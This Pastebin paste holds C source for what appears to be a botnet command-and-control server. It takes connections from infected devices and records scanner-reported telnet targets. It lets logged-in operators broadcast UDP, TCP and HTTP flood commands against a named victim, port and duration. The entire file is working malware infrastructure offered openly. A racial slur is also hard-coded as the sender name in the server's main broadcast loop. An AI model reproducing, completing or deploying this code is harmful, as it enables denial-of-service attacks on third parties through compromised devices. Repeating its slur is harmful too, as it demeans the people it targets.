Advertisement
Guest User

Untitled

a guest
Oct 14th, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.97 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  189. }
  190. continue;
  191. }
  192. else {
  193. int datafd = events[i].data.fd;
  194. struct clientdata_t *client = &(clients[datafd]);
  195. int done = 0;
  196. client->connected = 1;
  197. while (1) {
  198. ssize_t count;
  199. char buf[2048];
  200. memset(buf, 0, sizeof buf);
  201. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  202. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  203. trim(buf);
  204. if(strcmp(buf, "PING") == 0) {
  205. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  206. continue;
  207. }
  208. if(strstr(buf, "REPORT ") == buf) {
  209. char *line = strstr(buf, "REPORT ") + 7;
  210. fprintf(telFD, "%s\n", line);
  211. fflush(telFD);
  212. TELFound++;
  213. continue;
  214. }
  215. if(strstr(buf, "PROBING") == buf) {
  216. char *line = strstr(buf, "PROBING");
  217. scannerreport = 1;
  218. continue;
  219. }
  220. if(strstr(buf, "REMOVING PROBE") == buf) {
  221. char *line = strstr(buf, "REMOVING PROBE");
  222. scannerreport = 0;
  223. continue;
  224. }
  225. if(strcmp(buf, "PONG") == 0) {
  226. continue;
  227. }
  228. printf("buf: \"%s\"\n", buf);
  229. }
  230. if (count == -1) {
  231. if (errno != EAGAIN) {
  232. done = 1;
  233. }
  234. break;
  235. }
  236. else if (count == 0) {
  237. done = 1;
  238. break;
  239. }
  240. if (done) {
  241. client->connected = 0;
  242. close(datafd);
  243. }
  244. }
  245. }
  246. }
  247. }
  248. }
  249. unsigned int BotsConnected() {
  250. int i = 0, total = 0;
  251. for(i = 0; i < MAXFDS; i++) {
  252. if(!clients[i].connected) continue;
  253. total++;
  254. }
  255. return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258. int datafd = (int)sock;
  259. char string[2048];
  260. while(1) {
  261. memset(string, 0, 2048);
  262. sprintf(string, "%c]0;Devices: %d | Sleeps: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264. sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267. FILE *fp;
  268. int line_num = 0;
  269. int find_result = 0, find_line=0;
  270. char temp[512];
  271.  
  272. if((fp = fopen("login.txt", "r")) == NULL){
  273. return(-1);
  274. }
  275. while(fgets(temp, 512, fp) != NULL){
  276. if((strstr(temp, str)) != NULL){
  277. find_result++;
  278. find_line = line_num;
  279. }
  280. line_num++;
  281. }
  282. if(fp)
  283. fclose(fp);
  284. if(find_result == 0)return 0;
  285. return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288. int datafd = (int)sock;
  289. int find_line;
  290. OperatorsConnected++;
  291. pthread_t title;
  292. char buf[2048];
  293. char* username;
  294. char* password;
  295. memset(buf, 0, sizeof buf);
  296. char botnet[2048];
  297. memset(botnet, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[31m==user==: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[32m==pass==: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332.  
  333. sprintf(failed_line1, "\x1b[36mAccess Denied\r\n");
  334. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  335. sleep(5);
  336. goto end;
  337.  
  338. Banner:
  339. pthread_create(&title, NULL, &TitleWriter, sock);
  340. char ascii_banner_line1 [5000];
  341. char ascii_banner_line2 [5000];
  342. char ascii_banner_line3 [5000];
  343. char ascii_banner_line4 [5000];
  344. char ascii_banner_line5 [5000];
  345. char ascii_banner_line6 [5000];
  346. char ascii_banner_line7 [5000];
  347. char ascii_banner_line8 [5000];
  348. char ascii_banner_line9 [5000];
  349. char welcome_line [80];
  350. char banner_bot_count [2048];
  351. memset(banner_bot_count, 0, 2048);
  352.  
  353. sprintf(ascii_banner_line1, "\x1b[31m███████\x1b[32m╗\x1b[31m██\x1b[32m╗ \x1b[31m███████\x1b[32m╗\x1b[31m███████\x1b[32m╗\x1b[31m██████\x1b[32m╗ \x1b[31m███████\x1b[32m╗\x1b[31m██████\x1b[32m╗\x1b[31m \r\n");
  354. sprintf(ascii_banner_line2, "\x1b[31m██\x1b[32m╔════╝\x1b[31m██\x1b[32m║ \x1b[31m██\x1b[32m╔════╝\x1b[31m██\x1b[32m╔════╝\x1b[31m██\x1b[32m╔══\x1b[31m██\x1b[32m╗\x1b[31m██\x1b[32m╔════╝\x1b[31m██\x1b[32m╔══\x1b[31m██\x1b[32m╗\x1b[31m\r\n");
  355. sprintf(ascii_banner_line3, "\x1b[31m███████\x1b[32m╗\x1b[31m██\x1b[32m║ \x1b[31m█████\x1b[32m╗ \x1b[31m█████\x1b[32m╗ \x1b[31m██████\x1b[32m╔╝\x1b[31m█████\x1b[32m╗ \x1b[31m██\x1b[32m║ \x1b[31m██\x1b[32m║\x1b[31m\r\n");
  356. sprintf(ascii_banner_line4, "\x1b[32m╚════\x1b[31m██\x1b[32m║\x1b[31m██\x1b[32m║ \x1b[31m██\x1b[32m╔══╝ \x1b[31m██\x1b[32m╔══╝ \x1b[31m██\x1b[32m╔═══╝ \x1b[31m██\x1b[32m╔══╝ \x1b[31m██\x1b[32m║ \x1b[31m██\x1b[32m║\x1b[31m\r\n");
  357. sprintf(ascii_banner_line5, "\x1b[31m███████\x1b[32m║\x1b[31m███████\x1b[32m╗\x1b[31m███████\x1b[32m╗\x1b[31m███████\x1b[32m╗\x1b[31m██\x1b[32m║ \x1b[31m███████\x1b[32m╗\x1b[31m██████\x1b[32m╔╝\x1b[31m\r\n");
  358. sprintf(ascii_banner_line6, "\x1b[32m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝ ╚══════╝╚═════╝ \r\n");
  359. sprintf(ascii_banner_line8, "\x1b[32m \r\n");
  360. sprintf(ascii_banner_line9, "\r\n");
  361. sprintf(welcome_line, "\x1b[32m +\x1b[36m \x1b[37mBOTS LOADED: %d\x1b[36m \x1b[32m+\r\n", BotsConnected(), OperatorsConnected);
  362. sprintf(banner_bot_count, "\r\n\x1b[32m +\x1b[36m \x1b[37mWelcome, %s\x1b[36m \x1b[32m+\r\n", accounts[find_line].username);
  363.  
  364. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  365. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  366. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  367. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  368. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  369. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  370. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  375. while(1) {
  376. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  378. break;
  379. }
  380. pthread_create(&title, NULL, &TitleWriter, sock);
  381. managements[datafd].connected = 1;
  382.  
  383. while(fdgets(buf, sizeof buf, datafd) > 0)
  384. {
  385. if(strstr(buf, "BOTS")) {
  386. char botcount [2048];
  387. memset(botcount, 0, 2048);
  388. sprintf(botcount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Sleeps: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  389. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  390. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  391. continue;
  392. }
  393. if(strstr(buf, "STATUS")){
  394. char statuscount [2048];
  395. memset(statuscount, 0, 2048);
  396. sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Sleeps: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  397. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  398. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  399. continue;
  400. }
  401. if(strstr(buf, "HELP")) {
  402. pthread_create(&title, NULL, &TitleWriter, sock);
  403. char helpline1 [80];
  404. char helpline2 [80];
  405. char helpline3 [80];
  406. char helpline4 [80];
  407. char helpline5 [80];
  408. char helpline6 [80];
  409. char helpline7 [80];
  410. char helpline9 [80];
  411. char helpline11 [80];
  412. char helpline12 [80];
  413. char helpline13 [80];
  414. char helpline14 [80];
  415.  
  416. sprintf(helpline1, " \r\n\x1b[37m+ \x1b[31mCOMMANDS \x1b[37m+\r\n\r\n");
  417. sprintf(helpline2, " \x1b[32m- UDP - \x1b[36m!* UDP Ip Port Time 32 0 1024\r\n");
  418. sprintf(helpline3, " \x1b[31m- TCP - \x1b[36m!* TCP Ip Port Time 32 all 0 1024\r\n");
  419. sprintf(helpline4, " \x1b[32m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  420. sprintf(helpline5, " \x1b[31m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  421. sprintf(helpline7, " \x1b[32m- Kills Attack - \x1b[36mKILL\r\n");
  422. sprintf(helpline9, " \x1b[31m- Bot Count - \x1b[36mBOTS\r\n");
  423. sprintf(helpline11, " \x1b[32m- Clear Screen - \x1b[36mCLEAR\r\n");
  424. sprintf(helpline12, " \x1b[31m- LOGOUT - \x1b[36mLOGOUT\r\n");
  425. sprintf(helpline13, " \x1b[32m- TOS - \x1b[36mTOS\r\n");
  426. sprintf(helpline14, " \r\n");
  427.  
  428. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  440. pthread_create(&title, NULL, &TitleWriter, sock);
  441. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  442. continue;
  443. }
  444. if(strstr(buf, "ls")) {
  445. pthread_create(&title, NULL, &TitleWriter, sock);
  446. char ls1 [80];
  447. char ls2 [80];
  448. char ls3 [80];
  449. char ls4 [80];
  450. char ls5 [80];
  451.  
  452. sprintf(ls1, " \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
  453. sprintf(ls2, " \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  454. sprintf(ls3, " \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  455. sprintf(ls4, " \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  456. sprintf(ls5, " \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  457.  
  458. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  463.  
  464. pthread_create(&title, NULL, &TitleWriter, sock);
  465. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  466. continue;
  467. }
  468.  
  469. if(strstr(buf, "KILL")) {
  470. char killattack [2048];
  471. memset(killattack, 0, 2048);
  472. sprintf(killattack, "!* KILLATTK\r\n");
  473. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  475. continue;
  476. }
  477. if(strstr(buf, "CLEAR")) {
  478. char clearscreen [2048];
  479. memset(clearscreen, 0, 2048);
  480. sprintf(clearscreen, "\033[2J\033[1;1H");
  481. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  487. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  488. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  489. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  490. while(1) {
  491. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  493. break;
  494. }
  495. continue;
  496. }
  497. if(strstr(buf, "TOS")) {
  498. pthread_create(&title, NULL, &TitleWriter, sock);
  499. char tos1 [80];
  500. sprintf(tos1, "\r\n\x1b[36mTOS: \x1b[37m DONT SPAM ATTACKS/DONT SHARE LOGIN/RESPECT DADDY VULNSEC\r\n\r\n");
  501.  
  502. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  503. pthread_create(&title, NULL, &TitleWriter, sock);
  504. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  505. continue;
  506.  
  507. }
  508.  
  509. if(strstr(buf, "LOGOUT")) {
  510. char logoutmessage [2048];
  511. memset(logoutmessage, 0, 2048);
  512. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  513. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  514. sleep(5);
  515. goto end;
  516. }
  517. trim(buf);
  518. if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
  519. if(strlen(buf) == 0) continue;
  520. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  521.  
  522. FILE *LogFile;
  523. LogFile = fopen("server.log", "a");
  524. time_t now;
  525. struct tm *gmt;
  526. char formatted_gmt [50];
  527. char lcltime[50];
  528. now = time(NULL);
  529. gmt = gmtime(&now);
  530. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  531. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  532. fclose(LogFile);
  533. broadcast(buf, datafd, accounts[find_line].username);
  534. memset(buf, 0, 2048);
  535. }
  536. end:
  537. managements[datafd].connected = 0;
  538. close(datafd);
  539. OperatorsConnected--;
  540. }
  541. void *BotListener(int port) {
  542. int sockfd, newsockfd;
  543. socklen_t clilen;
  544. struct sockaddr_in serv_addr, cli_addr;
  545. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  546. if (sockfd < 0) perror("ERROR opening socket");
  547. bzero((char *) &serv_addr, sizeof(serv_addr));
  548. serv_addr.sin_family = AF_INET;
  549. serv_addr.sin_addr.s_addr = INADDR_ANY;
  550. serv_addr.sin_port = htons(port);
  551. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  552. listen(sockfd,5);
  553. clilen = sizeof(cli_addr);
  554. while(1) {
  555. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  556. if (newsockfd < 0) perror("ERROR on accept");
  557. pthread_t thread;
  558. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  559. }}
  560. int main (int argc, char *argv[], void *sock)
  561. {
  562. signal(SIGPIPE, SIG_IGN);
  563. int s, threads, port;
  564. struct epoll_event event;
  565. if (argc != 4) {
  566. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  567. exit (EXIT_FAILURE);
  568. }
  569. port = atoi(argv[3]);
  570. telFD = fopen("telnet.txt", "a+");
  571. threads = atoi(argv[2]);
  572. listenFD = create_and_bind (argv[1]);
  573. if (listenFD == -1) abort ();
  574. s = make_socket_non_blocking (listenFD);
  575. if (s == -1) abort ();
  576. s = listen (listenFD, SOMAXCONN);
  577. if (s == -1) {
  578. perror ("listen");
  579. abort ();
  580. }
  581. epollFD = epoll_create1 (0);
  582. if (epollFD == -1) {
  583. perror ("epoll_create");
  584. abort ();
  585. }
  586. event.data.fd = listenFD;
  587. event.events = EPOLLIN | EPOLLET;
  588. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  589. if (s == -1) {
  590. perror ("epoll_ctl");
  591. abort ();
  592. }
  593. pthread_t thread[threads + 2];
  594. while(threads--) {
  595. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  596. }
  597. pthread_create(&thread[0], NULL, &BotListener, port);
  598. while(1) {
  599. broadcast("PING", -1, "NIGGER");
  600. sleep(60);
  601. }
  602. close (listenFD);
  603. return EXIT_SUCCESS;
  604. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement